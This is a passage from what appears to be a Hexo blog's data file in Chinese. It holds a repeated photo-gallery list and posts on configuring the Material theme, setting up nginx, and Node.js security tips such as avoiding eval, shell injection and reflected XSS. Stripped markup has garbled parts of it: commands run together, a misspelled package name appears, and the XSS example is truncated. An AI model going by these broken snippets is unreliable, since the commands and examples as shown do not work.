t.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"app.use()
\n"},{"title":"material主题使用攻略","date":"2017-02-15T11:59:16.000Z","_content":"\n## 安装[Material]\n\n``` bash\nnpm install hexo-meterial\n```\n\n该方法会将主题下载到node_modules文件夹下,找到该文件后,将文件名改为material\n\n### 启用[Material]\n\n找到主题文件下的_config.template.yml 改成 _config.yml\n\n## 更新[Material]\n\n``` bash\nnpm update hexo-material\n```\n\n让后将文件复制到 Material 主题文件中\n\n## 配置主题\n\n### head\n* favicon: 网站的 favicon\n* high_res_favicon: 高清 favicon\n* apple_touch_icon: iOS 主屏按钮图标\n* keywords: 网站关键词\n\n### url\n* rss: 设置生成的 rss 或 atom url\n* daily_pic: 设置 daily_pic 模块 点击时跳转的 url\n* logo: 设置 logo 点击时跳转的 url\n\n### scheme\n* Paradox\n默认 Scheme,是 Material 的最初样式。居中布局,图文并茂。\n* Isolation\nParadox 的至简样式,简洁明了。\n\n### uiux\n用于设置主题 UI 与 UX。\n* heme_color: 主题主要颜色。主题的大部分地方使用此颜色。\n* theme_sub_color: 主题辅助颜色。\n* hyperlink_color: 超链接颜色。\n* button_color: 按钮颜色,例如 toTop 或 menu_button。\n* android_chrome_color: 安卓 Chrome 浏览器的地址栏颜色。\n* nprogress_color: 页面加载时顶部加载进度条的颜色。\n* nprogress_buffer: 页面加载时顶部加载进度条的缓冲时间。\n\n### js_effect\n用来控制 Material 主题中自带的多种 js 特性。\n* fade: 页面加载时部分模块的渐显效果,默认为 true。\n* smoothscroll: 页面平滑滚动特效,默认为 false。\n\n### reading\nentry_excerpt: 首页文章输出摘要的字符长度。默认为 80。\n* entry_excerpt: 首页文章输出摘要的字符长度。默认为 80。\n\n### background\n用于设置站点背景。\n* purecolor: 填入颜色代码。则站点使用纯色背景。\n* bgimg: 背景地址,默认调用 主题文件夹 -> source -> img 中的 bg.png。可更换此图片或者自己填入 url。\n* bing: 用于启用“必应美图”的图片作为背景。\n\n### dropdown\n用于设置 Paradox 侧边栏用户下拉菜单,默认为空。\n```\ndropdown:\n\tpage:\n\t\tlink: \"mailto: someone@example.com\"\n\t\ticon: email\n divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n```\n\n## 创建文章\n\n### 使用命令行\n```\nhexo newnpm install hexo-meterial\n
\n该方法会将主题下载到node_modules文件夹下,找到该文件后,将文件名改为material
\n找到主题文件下的_config.template.yml 改成 _config.yml
\nnpm update hexo-material\n
\n让后将文件复制到 Material 主题文件中
\n用于设置主题 UI 与 UX。
\n用来控制 Material 主题中自带的多种 js 特性。
\nentry_excerpt: 首页文章输出摘要的字符长度。默认为 80。
\n用于设置站点背景。
\n用于设置 Paradox 侧边栏用户下拉菜单,默认为空。
\ndropdown:\n page:\n link: "mailto: someone@example.com"\n icon: email\n divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n
hexo new <title>\n
手动创建也行
\nlayout 布局 post\ntitle 标题 文件名\ndate 建立日期 文件建立日期\nupdated 更新日期 文件更新日期\ntags 标签(不适用于分页) \ncategories 分类(不适用于分页) \npermalink 覆盖文章网址 \nthumbnail 缩略图地址 \ntoc 显示 TOC 按钮 true\ncomment 显示评论 true\nnotag 不生成标签按钮 false\ntop 置顶 false\n
新建一个 about 页面:
\nhexo new page "about"\n
在 hexo 目录下的 source 文件夹内创建一个名为 links(只是建议,可根据自己喜好修改)的文件夹。
然后在文件内创建一个名为 index.md 的 Markdown 文件。
在 index.md 文件内写入如下内容即可。
---\ntitle: links\ndate:\nlayout: links\n---\n
\n\ntitle 可修改,layout 不可修改。
\n
同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data(禁止改名)的文件夹。
\n然后在文件内创建一个名为 links.yml 的文件。
\n单个友情链接的格式为:
\nName:\n link: http://example.com\n avatar: http://example.com/avatar.png\n descr: "这是一个描述"\n
在 hexo 目录下的 source 文件夹内创建一个名为 gallery(只是建议,可根据自己喜好修改)的文件夹。
\n然后在文件内创建一个名为 index.md 的 Markdown 文件。
\n在 index.md 文件内写入如下内容即可。
\n---\ntitle: gallery\ndate:\nlayout: gallery\n---\n
同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data(禁止改名)的文件夹。
\n然后在文件内创建一个名为 gallery.yml 的文件。
\n单个图片的格式为:
\nName:\n full_link: http://example.com/full-image.png\n thumb_link: http://example.com/thumb-image.png\n descr: "这是一个描述"\n
在 hexo 目录下的 source 文件夹内创建一个名为 tags(只是建议,可根据自己喜好修改)的文件夹。
\n然后在文件内创建一个名为 index.md 的 Markdown 文件。
\n在 index.md 文件内写入如下内容即可。
\n---\ntitle: tags\ndate:\nlayout: tags\n---\n
如果某篇文章不想显示在站点中,只需要在 front-matter 中加入
\nlayout: private\n
","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"npm install hexo-meterial\n
\n该方法会将主题下载到node_modules文件夹下,找到该文件后,将文件名改为material
\n找到主题文件下的_config.template.yml 改成 _config.yml
\nnpm update hexo-material\n
\n让后将文件复制到 Material 主题文件中
\n用于设置主题 UI 与 UX。
\n用来控制 Material 主题中自带的多种 js 特性。
\nentry_excerpt: 首页文章输出摘要的字符长度。默认为 80。
\n用于设置站点背景。
\n用于设置 Paradox 侧边栏用户下拉菜单,默认为空。
\ndropdown:\n page:\n link: "mailto: someone@example.com"\n icon: email\n divider: 设置成 true 后会在归档按钮底部增加一条分割线。\n
hexo new <title>\n
手动创建也行
\nlayout 布局 post\ntitle 标题 文件名\ndate 建立日期 文件建立日期\nupdated 更新日期 文件更新日期\ntags 标签(不适用于分页) \ncategories 分类(不适用于分页) \npermalink 覆盖文章网址 \nthumbnail 缩略图地址 \ntoc 显示 TOC 按钮 true\ncomment 显示评论 true\nnotag 不生成标签按钮 false\ntop 置顶 false\n
新建一个 about 页面:
\nhexo new page "about"\n
在 hexo 目录下的 source 文件夹内创建一个名为 links(只是建议,可根据自己喜好修改)的文件夹。
然后在文件内创建一个名为 index.md 的 Markdown 文件。
在 index.md 文件内写入如下内容即可。
---\ntitle: links\ndate:\nlayout: links\n---\n
\n\ntitle 可修改,layout 不可修改。
\n
同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data(禁止改名)的文件夹。
\n然后在文件内创建一个名为 links.yml 的文件。
\n单个友情链接的格式为:
\nName:\n link: http://example.com\n avatar: http://example.com/avatar.png\n descr: "这是一个描述"\n
在 hexo 目录下的 source 文件夹内创建一个名为 gallery(只是建议,可根据自己喜好修改)的文件夹。
\n然后在文件内创建一个名为 index.md 的 Markdown 文件。
\n在 index.md 文件内写入如下内容即可。
\n---\ntitle: gallery\ndate:\nlayout: gallery\n---\n
同样在在 hexo 目录下的 source 文件夹内创建一个名为 _data(禁止改名)的文件夹。
\n然后在文件内创建一个名为 gallery.yml 的文件。
\n单个图片的格式为:
\nName:\n full_link: http://example.com/full-image.png\n thumb_link: http://example.com/thumb-image.png\n descr: "这是一个描述"\n
在 hexo 目录下的 source 文件夹内创建一个名为 tags(只是建议,可根据自己喜好修改)的文件夹。
\n然后在文件内创建一个名为 index.md 的 Markdown 文件。
\n在 index.md 文件内写入如下内容即可。
\n---\ntitle: tags\ndate:\nlayout: tags\n---\n
如果某篇文章不想显示在站点中,只需要在 front-matter 中加入
\nlayout: private\n
"},{"title":"nginx配置和问题处理","date":"2018-04-26T03:16:23.000Z","_content":"# nginx \b\b介绍\n\nNginx (\"engine x\") 是一个高性能的 HTTP 和 反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。\n\n尽管Node.JS的性能不错,但处理静态事务确实不是他的专长,如:gzip编码,静态文件,HTTP缓存,SSL处理,负载平衡和反向代理及多站点代理等,都可以通过nginx来完成,从而减小node.js的负载,并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。\n\n## 查看 nginx \b进程\n\n```t\nps aux|grep nginx\n```\n\n## nginx.conf 配置\n\n```-t\nserver {\n listen 3001;\n server_name localhost;\n\n #charset koi8-r;\n\n #access_log logs/host.access.log main;\n\n location / {\n root html;\n index index.html index.htm;\n }\n }\n```\n> 大约 36 行的位置,端口号可以设置其他,最好不要用80,设置好之后重启。\n\n## nginx 问题总结\n\n### ubuntu 下卸载不干净\n\n```t\nsudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东,包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行,主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart #重启nginx\n```","source":"_posts/nginx配置和问题处理.md","raw":"---\ntitle: nginx配置和问题处理\ndate: 2018-04-26 11:16:23\ntags: [nginx]\ncategories: 代理\n---\n# nginx \b\b介绍\n\nNginx (\"engine x\") 是一个高性能的 HTTP 和 反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。\n\n尽管Node.JS的性能不错,但处理静态事务确实不是他的专长,如:gzip编码,静态文件,HTTP缓存,SSL处理,负载平衡和反向代理及多站点代理等,都可以通过nginx来完成,从而减小node.js的负载,并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。\n\n## 查看 nginx \b进程\n\n```t\nps aux|grep nginx\n```\n\n## nginx.conf 配置\n\n```-t\nserver {\n listen 3001;\n server_name localhost;\n\n #charset koi8-r;\n\n #access_log logs/host.access.log main;\n\n location / {\n root html;\n index index.html index.htm;\n }\n }\n```\n> 大约 36 行的位置,端口号可以设置其他,最好不要用80,设置好之后重启。\n\n## nginx 问题总结\n\n### ubuntu 下卸载不干净\n\n```t\nsudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东,包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行,主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart #重启nginx\n```","slug":"nginx配置和问题处理","published":1,"updated":"2018-04-26T03:37:06.244Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y59001dvzqhfd2a6ugy","content":"Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。
\n尽管Node.JS的性能不错,但处理静态事务确实不是他的专长,如:gzip编码,静态文件,HTTP缓存,SSL处理,负载平衡和反向代理及多站点代理等,都可以通过nginx来完成,从而减小node.js的负载,并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。
\nps aux|grep nginx\n
\nserver {\n listen 3001;\n server_name localhost;\n\n #charset koi8-r;\n\n #access_log logs/host.access.log main;\n\n location / {\n root html;\n index index.html index.htm;\n }\n }\n
\n\n\n大约 36 行的位置,端口号可以设置其他,最好不要用80,设置好之后重启。
\n
sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东,包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行,主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart #重启nginx\n
\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"Nginx (“engine x”) 是一个高性能的 HTTP 和 反向代理服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,第一个公开版本0.1.0发布于2004年10月4日。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名。
\n尽管Node.JS的性能不错,但处理静态事务确实不是他的专长,如:gzip编码,静态文件,HTTP缓存,SSL处理,负载平衡和反向代理及多站点代理等,都可以通过nginx来完成,从而减小node.js的负载,并通过nginx强大的缓存来节省您网站的流量从而提高网站的加载速度。
\nps aux|grep nginx\n
\nserver {\n listen 3001;\n server_name localhost;\n\n #charset koi8-r;\n\n #access_log logs/host.access.log main;\n\n location / {\n root html;\n index index.html index.htm;\n }\n }\n
\n\n\n大约 36 行的位置,端口号可以设置其他,最好不要用80,设置好之后重启。
\n
sudo apt-get remove nginx nginx-common # 卸载删除除了配置文件以外的所有文件。\n\nsudo apt-get purge nginx nginx-common # 卸载所有东东,包括删除配置文件。\n\nsudo apt-get autoremove # 在上面命令结束后执行,主要是卸载删除Nginx的不再被使用的依赖包。\n\nsudo apt-get remove nginx-full nginx-common #卸载删除两个主要的包。\n\nsudo service nginx restart #重启nginx\n
\n"},{"title":"nodeJS性能处理(一)","date":"2018-04-25T01:56:24.000Z","_content":"# 介绍\n\n目前市面上有很多后台纯 node 的项目,但是用 node 做后端还是有一系列的问题,比如稳定性,安全性,抛开这两块还要优化性能,如何提高用户的访问速度,在网络不佳(2G)的情况下如何能正常访问项目,都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。\n\n## 1. 不要用 Eval\n\neval 的作用是将用户输入的字符串转化为可执行的代码,类似欺骗的效果,这样的坏处是会受到 XSS 攻击。\n\n## 2. 使用 strict 模式\n\n严格模式下的变量声明会抛出一些隐藏的错误。\n\n```js\n'use strict'\nvar obj = {\n a: '1',\n a: '2'\n}\n// 抛出错误 syntax error\n```\n\n## 3. 使用 Eslint 测试代码规范\n\n可以使我们早期捕获一些 bug,并及时修正。\n\n## 4. 全面测试\n\n测试很重要,不但单元要测试,还要全面测试,例如用 mocha 测试代码覆盖率。\n\n## 5. Unix 下不要直接使用 sudo node app.js\n\n这样如果产生错误,会让整个系统宕机,可以使用 nginx 反向代理。\n\n## 6. 避免 shell command 注入\n\n```-t\nchild_process.exec('ls', function (err, data) {\n console.log(data);\n});\n```\n\n上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。\n> 为了避免这个问题,我们可以使用:child_process.execFile。\n\n## 7. 临时文件\n\n创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。\n> 使用 Streams。\n\n## 8. 加密 Web 应用\n\n用 https 代替 http,请求的过程可以添加签名头。\n\n## 9. Reflected Cross Site Scripting\n\n也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:\n\n```js\n//用户输入的数据中带脚本,如果不做处理,会被执行。\nIm human 目前市面上有很多后台纯 node 的项目,但是用 node 做后端还是有一系列的问题,比如稳定性,安全性,抛开这两块还要优化性能,如何提高用户的访问速度,在网络不佳(2G)的情况下如何能正常访问项目,都是一系列需要考虑的问题。本章内容针对安全性给出相关技巧。
\neval 的作用是将用户输入的字符串转化为可执行的代码,类似欺骗的效果,这样的坏处是会受到 XSS 攻击。
\n严格模式下的变量声明会抛出一些隐藏的错误。
\n'use strict'\nvar obj = {\n a: '1',\n a: '2'\n}\n// 抛出错误 syntax error\n
\n可以使我们早期捕获一些 bug,并及时修正。
\n测试很重要,不但单元要测试,还要全面测试,例如用 mocha 测试代码覆盖率。
\n这样如果产生错误,会让整个系统宕机,可以使用 nginx 反向代理。
\nchild_process.exec('ls', function (err, data) {\n console.log(data);\n});\n
\n上面的 child_process.exec 调用的是 /bin/sh ,也就是执行了一个解释器。
\n\n\n为了避免这个问题,我们可以使用:child_process.execFile。
\n
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
\n\n\n使用 Streams。
\n
用 https 代替 http,请求的过程可以添加签名头。
\n也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:
